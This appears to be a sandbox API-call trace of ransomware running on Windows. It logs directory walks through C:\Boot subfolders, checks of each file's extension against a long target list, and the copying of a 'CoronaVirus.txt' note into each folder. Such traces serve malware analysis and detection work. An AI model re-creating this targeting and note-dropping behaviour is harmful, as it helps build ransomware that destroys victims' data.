	[0083.339] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb091524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.339] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.339] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb091524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.339] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.339] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.339] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.339] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.339] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.339] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.340] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.340] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.341] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.341] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.342] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.342] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb091524, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb091524, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.342] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.342] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.342] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.342] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.342] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.342] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.342] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.342] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.342] malloc (_Size=0x1000) returned 0x2f41610
	[0083.342] _swprintf (in: param_1=0x2f41610, param_2="%s\\%s" | out: param_1="C:\\Boot\\nb-NO\\CoronaVirus.txt") returned 29
	[0083.342] wcsstr (_Str="C:\\Boot\\nb-NO\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.342] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.342] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.342] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.342] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.343] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.343] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.344] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.344] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.345] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.345] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.345] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.345] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.346] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0083.346] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0083.346] wcsncmp (_String1="nl", _String2="..", _MaxCount=0x2) returned 64
	[0083.346] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\nl-NL") returned 13
	[0083.346] wcsncmp (_String1="C:\\Boot\\n", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.346] wcsstr (_Str="C:\\Boot\\nl-NL", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.346] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\nl-NL\\CoronaVirus.txt" (normalized: "c:\\boot\\nl-nl\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.348] _alloca_probe () returned 0x4036d0
	[0083.348] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x316583c*="nl-NL") returned 0xd
	[0083.348] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb091524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600710
	[0083.348] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.348] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb091524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.348] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.348] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.348] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.349] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
